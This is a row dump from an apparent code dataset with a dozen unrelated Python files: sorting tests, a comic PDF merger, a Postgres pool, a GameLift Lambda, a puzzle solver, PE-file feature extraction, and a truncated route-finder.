max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
python/tests/test_insertion_sort.py | arahal81/data-structures-and-algorithms | 0 | 12768751 | from insertion_sort.insertion_sort import insertion_Sort
import pytest
@pytest.mark.parametrize(
"input,expected_value",
[
([8, 4, 23, 42, 16, 15], [4, 8, 15, 16, 23, 42]),
([20, 18, 12, 8, 5, -2], [-2, 5, 8, 12, 18, 20]),
([5, 12, 7, 5, 5, 7], [5, 5, 5, 7, 7, 12]),
([2, 3, 5, 7, 13, 11], [2, 3, 5, 7, 11, 13]),
],
)
def test_validate_brackets(input, expected_value):
assert insertion_Sort(input) == expected_value
| 3.171875 | 3 |
stockdata/filters.py | Borderlander103/pythoncapstone-stockdata | 0 | 12768752 | <reponame>Borderlander103/pythoncapstone-stockdata<gh_stars>0
import settings
def nameFilter(stock):
if(stock.name == settings.value):
return True
else:
return False
def industryFilter(stock):
if(stock.industry == settings.value):
return True
else:
return False
def marketFilter(stock):
if(stock.market == settings.value):
return True
else:
return False
def filter_stocks():
if settings.key == 'name':
settings.filtered_stocks = filter(
nameFilter, settings.stocks)
elif settings.key == 'industry':
settings.filtered_stocks = filter(
industryFilter, settings.stocks)
elif settings.key == 'market':
settings.filtered_stocks = filter(
marketFilter, settings.stocks)
else:
print("You shouldn't get here.")
| 3.015625 | 3 |
comicMaker/makeFullPdf.py | Gunjan933/comicMaker | 3 | 12768753 | <filename>comicMaker/makeFullPdf.py
import shutil,os,os.path
from PyPDF2 import PdfFileMerger
class makeFullPdf:
def mangaLike(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
sortedpdf=[]
sortedlist=[]
for i in pdflist:
temp=float((i[i.find("Chapter-")+8 : i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
sortedlist.sort()
for i in sortedlist:
sortedpdf.append("Chapter"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
#print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
def readComicOnlineTo(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf") and f.startswith("Issue")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
# print(pdflist)
sortedpdf=[]
sortedlist=[]
for i in pdflist:
try:
temp=float((i[i.find("Issue-")+6 : i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
sortedlist.sort()
for i in sortedlist:
sortedpdf.append("Issue"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
#print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
# print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
def readComicsOnlineRu(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
#print(address)
shutil.copy( address, '.')
try:
sortedpdf=[]
sortedlist=[]
# len(pdflist)
for i in pdflist:
# print(i[: i.find(".pdf")])
# temp=((i[: i.find(".pdf")]))
# print(temp.replace('_','.'))
try:
temp=float((i[: i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
# return
sortedlist.sort()
# print(sortedlist)
for i in sortedlist:
sortedpdf.append(((str(i)).replace('.','-')).replace('-0','')+".pdf")
# print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
def comicExtra(comicBook):
print(" Merging all pdf's, please wait!")
for file in os.listdir("."):
if file.endswith(".pdf"):
os.remove(os.path.join(".", file))
pdflist=[]
for dirpath, dirnames, filenames in os.walk('.'):
for filename in [f for f in filenames if f.endswith(".pdf")]:
try:
# print(filename[filename.find("Chapter-")+8:].replace('-','.'))
temp=float((filename[filename.find("Chapter-")+8: filename.find(".pdf")]).replace('-','.'))
address=os.path.join(dirpath, filename)
if os.stat(address).st_size!=0:
pdflist.append(filename)
# print(address)
shutil.copy( address, '.')
except:
pass
# raise
try:
sortedpdf=[]
sortedlist=[]
# len(pdflist)
for i in pdflist:
# print(i[: i.find(".pdf")])
# temp=((i[: i.find(".pdf")]))
# print(temp.replace('_','.'))
try:
temp=float((i[i.find("Chapter-")+8: i.find(".pdf")]).replace('-','.'))
sortedlist.append(temp)
except:
pass
# return
sortedlist.sort()
# print(sortedlist)
for i in sortedlist:
sortedpdf.append("Chapter"+"-"+((str(i)).replace('.','-')).replace('-0','')+".pdf")
# print(sortedpdf)
merger = PdfFileMerger()
for pdf in sortedpdf:
merger.append(pdf)
fd = None
try:
fd = open(comicBook+".pdf", 'wb')
merger.write(fd)
finally:
fd.close()
merger.close()
for pdf in sortedpdf:
os.remove(pdf)
print(" "+comicBook+".pdf saved!")
except:
print(" Error while creating"+comicBook+"!")
if os.path.exists(comicBook+".pdf"):
os.remove(comicBook+".pdf")
raise
# os.chdir("..")
# os.chdir("..")
# dire="comicDownloads\\spider-man-2016"
# os.chdir(dire)
# makeFullPdf.comicExtra("spider-man-2016") | 3.078125 | 3 |
dbinorm/pg_connection_pool.py | rabus-t48/dbinorm | 0 | 12768754 | <filename>dbinorm/pg_connection_pool.py
#coding: utf-8
import time
import logging
import base64
import psycopg2
import psycopg2.extensions
import psycopg2.sql as sql
from psycopg2.extensions import connection as _connection
from rbs_db.pg_factory import RealDictConnectionUpper
from rbs_db.db_exception import DatabaseConnectionException
log = logging.getLogger()
def _get_connection(connection_or_string):
if connection_or_string is None:
raise DatabaseConnectionException("ErrorDatabaseConnection connection string is None")
if isinstance(connection_or_string, dict):
con = psycopg2.connect(connection_factory = RealDictConnectionUpper, **connection_or_string)
else:
con = psycopg2.connect(connection_or_string, connection_factory = RealDictConnectionUpper)
return con
def create_connection_string(db_user,
base64_pass = None,
db_host = None,
db_port = None,
db_name = None):
if isinstance(db_user, dict):
conf = db_user
db_user = conf.get("db_user")
base64_pass = conf["db_pass"]
db_host = conf["db_host"]
db_port = conf["db_port"]
db_name = conf["db_name"]
db_pass = base64.decodestring(base64_pass)
connection_string = "dbname=%s user=%s password=%s host=%s port=%s" % (db_name,db_user,db_pass,db_host,db_port)
return connection_string
class PgConnectionPool(object):
def __init__(self, globs, config, no_pool = True,
con_conf = None):
self.app_globals = globs
self.config = config
self.con_conf = con_conf
self.pool = None
self.no_pool = no_pool
self.global_list_of_connections = {}
self.connection_map = {}
self.hung_previous_remove = time.time()
self.max_connection_wait_time = 60 * 60
self.hung_remove_interval = 60 * 15
self.max_connection_group_number = 0xFFFFFF
self.connection_group_number = 1
self.con_id = 0
self.no_session = self.config.get('no_session', False)
def __del__(self):
self.remove_all_connections()
def acquire(self, id_of_pool_connection = 0):
try:
return self._try_get_connection(id_of_pool_connection)
except Exception as e:
log.critical("Exception occured")
log.exception(e)
def _try_get_connection(self, id_of_pool_connection,
start = None):
connection = self._get_connection()
self._set_user(connection)
self.global_save_connection(id_of_pool_connection,
connection)
return connection
def _get_connection(self):
log.info("config = %s", self.con_conf)
conf = self.con_conf or self.config
con = _get_connection(conf)
cur = con.cursor()
#TODO: add reset params
cur.close()
return con
def _init_params(self, connection):
pass
def _get_user(self):
return "TEST_USER"
def release(self, connection):
try:
connection.close()
except Exception as e:
log.critical("error when close connection")
log.exception(e)
def global_save_connection(self, connection_group, connection):
return
def remove_connection_group(self, connection_group):
return
def remove_all_connections(self):
return
def remove_hung_connections(self):
return
def get_next_group_number(self):
return 0
def is_empty_group(self, group):
return True
def log_connections_info(self):
return
def log_connection_info(self):
return
def log_connection_info_cfg(self, con, limit = None):
return
def remove_con(self, con_id, grp = None):
return
| 2.640625 | 3 |
Lambda/MatchStatus.py | nkwangjun/aws-gamelift-sample | 131 | 12768755 | import boto3
from botocore.exceptions import ClientError
import json
import time
dynamodb = boto3.resource('dynamodb', region_name='us-east-1')
ddb_table = dynamodb.Table('GomokuPlayerInfo')
def lambda_handler(event, context):
print(event)
# You can also use TicketId to track Matchmaking Event.
ticket_id = event['TicketId']
player_name = event['PlayerName']
response = { 'IpAddress': '', 'PlayerSessionId': '', 'Port': 0 }
try:
match_response = ddb_table.get_item(
TableName='GomokuPlayerInfo',
Key={
'PlayerName': player_name
})
if 'Item' in match_response:
print(match_response['Item'])
connection_info = json.loads(match_response['Item']['ConnectionInfo'])
if connection_info['status'] == 'matching':
response['IpAddress'] = connection_info['IpAddress']
response['Port'] = connection_info['Port']
response['PlayerSessionId'] = connection_info['PlayerSessionId']
connection_update = { 'IpAddress': connection_info['IpAddress'], 'Port': connection_info['Port'], 'PlayerSessionId': connection_info['PlayerSessionId'], 'timestamp': int(time.time()), 'status': 'complete' }
ddb_table.update_item(
TableName="GomokuPlayerInfo",
Key={ 'PlayerName' : player_name },
UpdateExpression="set ConnectionInfo = :connection_update",
ExpressionAttributeValues={
':connection_update': "" + json.dumps(connection_update),
},
ReturnValues="UPDATED_NEW"
)
except ClientError as e:
print(e.response['Error']['Message'])
print(response)
return response
| 1.984375 | 2 |
11_actionchainsDemo2.py | ITXIAOKE/XKSelenium | 1 | 12768756 | <reponame>ITXIAOKE/XKSelenium<filename>11_actionchainsDemo2.py<gh_stars>1-10
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
import time
driver = webdriver.Firefox()
driver.get("http://www.baidu.com")
# time.sleep(3)
# move = driver.find_element_by_xpath(".//*[@id='u1']/a[8]")
# move = driver.find_element_by_link_text("设置")
#
# move=driver.find_element_by_class_name("pf pfhover")
# time.sleep(3)
# 悬停
# ActionChains(driver).move_to_element(move).perform()
# 双击操作
double_click = driver.find_element_by_xpath(".//*[@id='u1']/a[3]")
ActionChains(driver).double_click(double_click).perform()
# 鼠标拖拽推放操作
# element = driver.find_element_by_id("aa")
# target = driver.find_element_by_id("bb")
# ActionChains(driver).drag_and_drop(element, target).perform()
| 2.5625 | 3 |
rpm/make-osc-upload.py | augustand/Nuitka | 0 | 12768757 | <filename>rpm/make-osc-upload.py
#!/usr/bin/env python
# Copyright 2016, <NAME>, mailto:<EMAIL>
#
# Part of "Nuitka", an optimizing Python compiler that is compatible and
# integrates with CPython, but also works on its own.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import shutil
import subprocess
import sys
nuitka_version = subprocess.check_output(
"./bin/nuitka --version", shell = True
).strip()
branch_name = subprocess.check_output(
"git name-rev --name-only HEAD".split()
).strip()
assert branch_name in (
b"master",
b"develop",
b'factory',
b"release/" + nuitka_version,
b"hotfix/" + nuitka_version
), branch_name
shutil.rmtree("dist", ignore_errors = True)
shutil.rmtree("build", ignore_errors = True)
assert 0 == os.system("misc/make-doc.py")
assert 0 == os.system("python setup.py sdist --formats=gztar")
# Upload stable releases to OpenSUSE Build Service:
if branch_name.startswith("release") or \
branch_name.startswith("hotfix") or \
branch_name == "master":
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
os.makedirs("osc")
# Stage the "osc" checkout from the ground up.
assert 0 == os.system("cd osc && osc init home:kayhayen Nuitka && osc repairwc && cp ../dist/Nuitka-*.tar.gz . && sed -e s/VERSION/%s/ ../rpm/nuitka.spec >./nuitka.spec && cp ../rpm/nuitka-run3 . && cp ../rpm/nuitka-rpmlintrc . && osc addremove && echo 'New release' >ci_message && osc ci --file ci_message" % nuitka_version)
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
elif branch_name == "develop":
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
os.makedirs("osc")
# Stage the "osc" checkout from the ground up, but path the RPM spec to say
# it is nuitks-unstable package.
assert 0 == os.system("cd osc && osc init home:kayhayen Nuitka-Unstable && osc repairwc && cp ../dist/Nuitka-*.tar.gz . && sed -e s/VERSION/%s/ ../rpm/nuitka.spec >./nuitka-unstable.spec && sed -i nuitka-unstable.spec -e 's/Name: *nuitka/Name: nuitka-unstable/' && cp ../rpm/nuitka-run3 . && cp ../rpm/nuitka-rpmlintrc . && osc addremove && echo 'New release' >ci_message && osc ci --file ci_message" % nuitka_version)
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
elif branch_name == "factory":
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
os.makedirs("osc")
# Stage the "osc" checkout from the ground up, but path the RPM spec to say
# it is nuitks-unstable package.
assert 0 == os.system("cd osc && osc init home:kayhayen Nuitka-experimental && osc repairwc && cp ../dist/Nuitka-*.tar.gz . && sed -e s/VERSION/%s/ ../rpm/nuitka.spec >./nuitka-experimental.spec && sed -i nuitka-experimental.spec -e 's/Name: *nuitka/Name: nuitka-experimental/' && cp ../rpm/nuitka-run3 . && cp ../rpm/nuitka-rpmlintrc . && osc addremove && echo 'New release' >ci_message && osc ci --file ci_message" % nuitka_version)
# Cleanup the osc directory.
shutil.rmtree("osc", ignore_errors = True)
else:
sys.exit("Skipping OSC for branch '%s'" % branch_name)
| 1.9375 | 2 |
kafka_streamer/topic/datatype/byte.py | sam-mosleh/kafka-streamer | 1 | 12768758 | from typing import Optional
from .base import KafkaDataType
class ByteDataType(KafkaDataType):
def deserialize(self, data: bytes) -> bytes:
return data
def serialize(self, data: Optional[bytes]):
return data
| 2.609375 | 3 |
23/solution2.py | msagi/advent-of-code-2021 | 0 | 12768759 | <filename>23/solution2.py
# https://adventofcode.com/2021/day/23
import sys
from copy import deepcopy
"""
Note: Amphipods => Crabs, I can't stand writing it so many times with typos
"""
# room indexes (positions) on the hallway
ROOM_POSITION = {'A': 2, 'B': 4, 'C': 6, 'D': 8}
# the energy cost for each step for the various types of crabs
ENERGY_COST = {'A': 1, 'B': 10, 'C': 100, 'D': 1000}
def is_target_room_ready_for_crab(crab, rooms):
# returns True if the room is empty or has only designated type of crabs
crab_target_room = rooms[crab]
for position in crab_target_room:
if position is not None and position != crab:
return False
return True
def is_crab_able_to_move_to_target_room(crab_hallway_position, state):
# returns True if designated room is ready for crab and there is clear path for the crab to move to the room
hallway, rooms = state
crab = hallway[crab_hallway_position]
if not is_target_room_ready_for_crab(crab, rooms):
return False
# check if there is clear path from crab position to target room
target_room_position = ROOM_POSITION[crab]
is_path_clear = True
if target_room_position < crab_hallway_position:
for position in range(target_room_position, crab_hallway_position):
if hallway[position] is not None:
is_path_clear = False
break
else:
assert target_room_position != crab_hallway_position
for position in range(crab_hallway_position + 1, target_room_position + 1):
if hallway[position] is not None:
is_path_clear = False
break
return is_path_clear
def move_crab_to_target_room(crab_hallway_position, state):
# note: only call this function if the crab can move to the target room
hallway, rooms = state
crab = hallway[crab_hallway_position]
target_room_position = ROOM_POSITION[crab]
steps_to_final_position = abs(target_room_position - crab_hallway_position)
target_room = rooms[crab]
room_position = 0
for position in range(len(target_room)):
if target_room[position] is None:
room_position = position
steps_to_final_position += (room_position + 1)
energy_cost = steps_to_final_position * ENERGY_COST[crab]
# create new state: copy current state and move crab
new_hallway = list(hallway)
new_rooms = deepcopy(rooms)
new_hallway[crab_hallway_position] = None
new_rooms[crab][room_position] = crab
return energy_cost, (new_hallway, new_rooms)
def is_simulation_complete(state):
hallway, rooms = state
for target_crab, room in rooms.items():
for position in range(len(room)):
if room[position] != target_crab:
return False
return True
def get_first_crab_to_move_from_room(room_target_crab, rooms):
room = rooms[room_target_crab]
# room is 'healthy' if there is nothing to move
is_room_healthy = True
for position in range(len(room)):
crab = room[position]
if crab is not None and crab != room_target_crab:
is_room_healthy = False
break
if is_room_healthy: # no move out from this room
return None, -1
for position in range(len(room)):
crab = room[position]
if crab is not None:
return crab, position
def is_crab_able_to_move_to_hallway(start_room_id, target_hallway_position, state):
hallway, rooms = state
# crab cannot move to above any room
if target_hallway_position in [2, 4, 6, 8]:
return False
# crab cannot move to an already occupied position
if hallway[target_hallway_position] is not None:
return False
crab_hallway_position = ROOM_POSITION[start_room_id]
is_path_clear = True
if crab_hallway_position < target_hallway_position:
for position in range(crab_hallway_position, target_hallway_position + 1):
if hallway[position] is not None:
is_path_clear = False
break
else:
assert crab_hallway_position != target_hallway_position
for position in range(target_hallway_position, crab_hallway_position + 1):
if hallway[position] is not None:
is_path_clear = False
break
return is_path_clear
def move_crab_from_target_room(crab, start_room_id, position_in_start_room, target_crab_hallway_position, state):
# note: only call this function if the crab can move to the target room
crab_hallway_position = ROOM_POSITION[start_room_id]
steps_to_final_position = abs(crab_hallway_position - target_crab_hallway_position)
steps_to_final_position += (position_in_start_room + 1)
energy_cost = steps_to_final_position * ENERGY_COST[crab]
# create new state: copy current state and move crab
hallway, rooms = state
new_hallway = list(hallway)
new_rooms = deepcopy(rooms)
new_hallway[target_crab_hallway_position] = crab
new_rooms[start_room_id][position_in_start_room] = None
return energy_cost, (new_hallway, new_rooms)
MEMO = {} # memoization dictionary
def simulate(state):
hallway, rooms = state
if is_simulation_complete(state): # no more steps
return 0
key = (tuple((room_id, tuple(room)) for room_id, room in rooms.items()), tuple(hallway))
if key in MEMO:
return MEMO[key]
# try move any crabs to final state first (if possible)
for hallway_position in range(len(hallway)):
if hallway[hallway_position] is not None:
if is_crab_able_to_move_to_target_room(hallway_position, state):
energy_cost, new_state = move_crab_to_target_room(hallway_position, state)
# clear crab from hallway and check if other crabs can now move to target position
hallway[hallway_position] = None
return energy_cost + simulate(new_state)
minimal_energy_required = sys.maxsize
# try move crabs which need to move
for start_room_id, room in rooms.items():
crab_to_move, position_in_start_room = get_first_crab_to_move_from_room(start_room_id, rooms)
if crab_to_move is None:
continue
for target_hallway_position in range(len(hallway)):
if is_crab_able_to_move_to_hallway(start_room_id, target_hallway_position, state):
energy_cost, new_state = move_crab_from_target_room(crab_to_move, start_room_id, position_in_start_room, target_hallway_position, state)
total_cost = energy_cost + simulate(new_state)
minimal_energy_required = min(total_cost, minimal_energy_required)
MEMO[key] = minimal_energy_required
return minimal_energy_required
def solve():
# parse input
hallway = [None for i in range(11)]
rooms = {'A': ['D', 'D'], # 19019
'B': ['B', 'A'],
'C': ['C', 'B'],
'D': ['C', 'A']}
# rooms = {'A': ['D', 'D', 'D', 'D'], # 47533
# 'B': ['B', 'C', 'B', 'A'],
# 'C': ['C', 'B', 'A', 'B'],
# 'D': ['C', 'A', 'C', 'A']}
print("parse:OK")
result = simulate((hallway, rooms))
print(result)
print("solve:OK")
solve()
print("OK")
| 3.875 | 4 |
transformers/executables/pe_general_features.py | ucds-sg/h2oai | 0 | 12768760 | """Extract LIEF features from PE files"""
from h2oaicore.transformer_utils import CustomTransformer
import datatable as dt
import numpy as np
class PEGeneralFeatures(CustomTransformer):
_modules_needed_by_name = ['lief==0.9.0']
_regression = True
_binary = True
_multiclass = True
_is_reproducible = True
_parallel_task = True # if enabled, params_base['n_jobs'] will be >= 1 (adaptive to system), otherwise 1
_can_use_gpu = True # if enabled, will use special job scheduler for GPUs
_can_use_multi_gpu = True # if enabled, can get access to multiple GPUs for single transformer (experimental)
_numeric_output = True
@staticmethod
def get_default_properties():
return dict(col_type="text", min_cols=1, max_cols=1, relative_importance=1)
@staticmethod
def do_acceptance_test():
return False
def fit_transform(self, X: dt.Frame, y: np.array = None):
return self.transform(X)
def load_pe(self, file_path):
with open(file_path, 'rb') as f:
bytez = bytearray(f.read())
return(bytez)
def get_general_features(self, file_path):
import lief
try:
pe_bytez = self.load_pe(file_path)
lief_binary = lief.PE.parse(list(pe_bytez))
X = {'exports_count': len(lief_binary.exported_functions),
'imports_count': len(lief_binary.imported_functions),
'has_configuration': int(lief_binary.has_configuration),
'has_debug': int(lief_binary.has_debug),
'has_exceptions': int(lief_binary.has_exceptions),
'has_nx': int(lief_binary.has_nx),
'has_relocations': int(lief_binary.has_relocations),
'has_resources': int(lief_binary.has_resources),
'has_rich_header': int(lief_binary.has_rich_header),
'has_signature': int(lief_binary.has_signature),
'has_tls': int(lief_binary.has_tls),
'libraries_count': len(lief_binary.libraries),
'size': len(pe_bytez),
'symbols_count': len(lief_binary.symbols),
'virtual_size': lief_binary.virtual_size}
return X
except:
X = {'exports_count': 0,
'imports_count': 0,
'has_configuration': 0,
'has_debug': 0,
'has_exceptions': 0,
'has_nx': 0,
'has_relocations': 0,
'has_resources': 0,
'has_rich_header': 0,
'has_signature': 0,
'has_tls': 0,
'libraries_count': 0,
'size': 0,
'symbols_count': 0,
'virtual_size': 0}
return X
def transform(self, X: dt.Frame):
import pandas as pd
ret_df = pd.DataFrame(
[
self.get_general_features(x)
for x in X.to_pandas().values[:,0]
]
)
self._output_feature_names = ['General_{}'.format(x) for x in ret_df.columns.to_list()]
self._feature_desc = self._output_feature_names
return ret_df
| 2.671875 | 3 |
pinterest_problems/problem_3.py | loftwah/Daily-Coding-Problem | 129 | 12768761 | """This problem was asked by Pinterest.
At a party, there is a single person who everyone knows, but who does not
know anyone in return (the "celebrity"). To help figure out who this is,
you have access to an O(1) method called knows(a, b), which returns True
if person a knows person b, else False.
Given a list of N people and the above operation,
find a way to identify the celebrity in O(N) time.
""" | 3.53125 | 4 |
ubuntu/twist2int64.py | ryomakawakami/rosmotor | 1 | 12768762 | #!/usr/bin/env python
import rospy
from geometry_msgs.msg import Twist
from std_msgs.msg import Int64
class Twist2int64():
def __init__(self):
self.command_left = Int64()
self.command_right = Int64()
self.received_twist = None
rospy.init_node('Twist2int64')
rospy.Subscriber('motor/twist/cmd_vel', Twist, self.callback)
self.pub_right = rospy.Publisher('right_motor/cmd_vel', Int64, queue_size=10)
self.pub_left = rospy.Publisher('left_motor/cmd_vel', Int64, queue_size=10)
def twist2int64_main(self):
rospy.spin()
def callback(self, message):
self.received_twist = message
self.command_right, self.command_left = self.twist2rpm(self.received_twist)
self.pub_right.publish(self.command_right)
self.pub_left.publish(self.command_left)
def twist2rpm(self, received_data):
wheel_size = 0.04
axle_length = 0.04
v = received_data.linear.x
omega = received_data.angular.z
v_r = (omega*axle_length + 2*v)/2
v_l = (omega*axle_length - 2*v)/(-2)
v_r = v_r/(wheel_size * 2 * 3.14)
v_l = v_l/(wheel_size * 2 * 3.14)
rpm_r = 60 * v_r
rpm_l = 60 * v_l
return rpm_r, rpm_l
if __name__ == '__main__':
twist2int64 = Twist2int64()
twist2int64.twist2int64_main()
| 2.53125 | 3 |
tests.py | HUSKI3/EzConfig | 1 | 12768763 | <reponame>HUSKI3/EzConfig<gh_stars>1-10
# Import EzConfig
import ezconf
# Create config object
config = ezconf.config()
# Read the config file
print("\nLoad config")
config.read("example_config.json")
# Get non-nested values
print("\nGet non-nested value\n")
print(config.get("name"))
# Get nested values
print("\nGet nested value\n")
config.add("extra-info","")
config.nested("extra-info","packages","Python")
print(config.get("extra-info")[0])
# Add more nested values
print("\nCreat new main nested value")
config.add("Test Data","")
config.nested("Test Data","line count","27")
print("\nAdding second nested entry")
config.nested("Test Data","Progammer sanity","-100")
config.nested("Test Data","Testing Date","16/10/2020")
# Get pretty json
print("\nGet pretty print\n")
print(config.pretty())
# Add object
config.add("Tests","none")
# check results
print(config.pretty()) | 2.40625 | 2 |
python/particle_predictor/serving/particle_client.py | KiranArun/tensorflow | 2 | 12768764 | <filename>python/particle_predictor/serving/particle_client.py<gh_stars>1-10
# import dependancies
from __future__ import print_function
from grpc.beta import implementations
import tensorflow as tf
import numpy as np
from tensorflow_serving.apis import predict_pb2
from tensorflow_serving.apis import prediction_service_pb2
# set up arguements
# server location, number of input points and max answer (last 2 must be same as training model)
tf.app.flags.DEFINE_string('server', 'localhost:9000', 'PredictionService host:port')
tf.app.flags.DEFINE_integer('points', 3, 'number of values to input')
tf.app.flags.DEFINE_string('max_answer', 40, 'width of frame')
FLAGS = tf.app.flags.FLAGS
def main(_):
# setup the parameters, must the same as model
# number of input values
vals = FLAGS.points
# max answer, so basically the width of the frame
max_answer = FLAGS.max_answer
# number of different M's, biggest gradient will fit in frame
gradients = max_answer/(vals)+1
# to format input data
length = max_answer
full_length = length*vals
# set host and port
host, port = FLAGS.server.split(':')
channel = implementations.insecure_channel(host, int(port))
stub = prediction_service_pb2.beta_create_PredictionService_stub(channel)
# define input line array to record input points
input_line = np.array([])
# ask user for 3 input points
print('input values, the max gradient is', gradients-1)
for i in range(vals):
print('\nvalue',i+1,'?')
val = int(input())
input_line = np.append(input_line, val)
# record the last value as we do not predict b
l_val = input_line[-1]
print(input_line)
# function to format the data
def test_model():
test_line = input_line
f_value = test_line[0]
# take away b
test_line = np.subtract(test_line,f_value)
input_array = np.array([])
# replace specified values with one
for a in range(vals):
test_array = np.zeros([1,length])
test_array[0,test_line[a]] = 1
# append new line and reshape to a 1d array
input_array = np.append(input_array, test_array).reshape([1,(a+1)*length])
return(input_array.astype(np.float32))
data = test_model()
print(data, data.shape)
# set request
request = predict_pb2.PredictRequest()
request.model_spec.name = 'particle_predictor'
request.model_spec.signature_name = 'predict_particle'
# input data to the server
request.inputs['frames'].CopyFrom(tf.contrib.util.make_tensor_proto(data, shape=[1,full_length]))
# get result
result = stub.Predict(request, 10.0) # 10 secs timeout
# display results and predictions
probs = result
probs = np.array(result.outputs['scores'].float_val)
learnt_ans = np.argmax(probs)+l_val
print('result =', result)
print(probs)
print('line =', input_line)
print('prediction =', learnt_ans)
if __name__ == '__main__':
tf.app.run()
| 2.515625 | 3 |
ScienceCruiseDataManagement/main/management/commands/importprojects.py | Swiss-Polar-Institute/science-cruise-data-management | 6 | 12768765 | from django.core.management.base import BaseCommand, CommandError
from main.models import Project, Person
import csv
# This file is part of https://github.com/cpina/science-cruise-data-management
#
# This project was programmed in a hurry without any prior Django experience,
# while circumnavigating the Antarctic on the ACE expedition, without proper
# Internet access, with 150 scientists using the system and doing at the same
# cruise other data management and system administration tasks.
#
# Sadly there aren't unit tests and we didn't have time to refactor the code
# during the cruise, which is really needed.
#
# <NAME> (<EMAIL>) and <NAME> (<EMAIL>), 2016-2017.
class Command(BaseCommand):
help = 'Adds data to the person table'
def add_arguments(self, parser):
parser.add_argument('filename', type=str)
def handle(self, *args, **options):
print(options['filename'])
self.import_data_from_csv(options['filename'])
def import_data_from_csv(self, filename):
with open(filename) as csvfile:
reader = csv.DictReader(csvfile)
for row in reader:
print(row)
project = Project()
project.number = row['project_number']
project.title= row['project_title']
project.alternative_title = row['project_alternative_title']
project.abstract = row['abstract']
if row['name_first'] != '':
print("{}-{}".format(row['name_first'],row['name_last']))
person = Person.objects.filter(name_first=row['name_first']).filter(name_last=row['name_last'])[0]
project.principal_investigator =person
project.save()
| 2.5 | 2 |
src/routeFinder.py | dinulade101/apartment-finder | 0 | 12768766 | <reponame>dinulade101/apartment-finder
from graph import Graph
from breadth_first_search import *
import math
import settings
from binary_heap import BinaryHeap
class RouteFinder:
"""
A class that returns the shortest path between several different locations
1) List of all LRT Stations
2) University of Alberta
"""
def __init__(self, mapsFile):
# load up .txt file with lat and lon coordinates
self.graph, self.locations = load_city_graph(mapsFile)
def computeDistanceFromPath(self, path):
'''
This function computes the distance from a path. However, this is not
in meters. This compute the distance use lat and lon coordinates, so a
special formula will have to be used to convert to meters.
However, this will allow for comparison of distances of apartments
within the constraints of this program.
'''
# compute distance between each vertex in a path array to get the total
# distance
distanceSoFar = 0
for i, val in enumerate(path):
if i == (len(path)-1):
# skip the first vertex beacuse there is no vertex before it
pass
else:
distanceSoFar += convertLatLonDistToMetres(self.locations[val], self.locations[path[i+1]])
# convertLatLonDistToMetres(self.locations[val], self.locations[path[i+1]])
#print(distanceSoFar)
return distanceSoFar
def computePathToUni(self, houseLocationInCoords):
#find the corresponding vertex using the lat and lon coordinates of the house, as well as the university
houseVertex = computeClosestVertexFromLatLonCoord(houseLocationInCoords, self.locations)
uniVertex = computeClosestVertexFromLatLonCoord((5352133.1248, -11352133.1248), self.locations)
#calls function to build least cost path from each LRT station to house under consideration
minStation, distToStation = self.computePathFromLRTToHouse(houseVertex, "listOfLRTStations.txt")
#calls function to find least cost path from the house vertex to the vertex of the University of Alberta
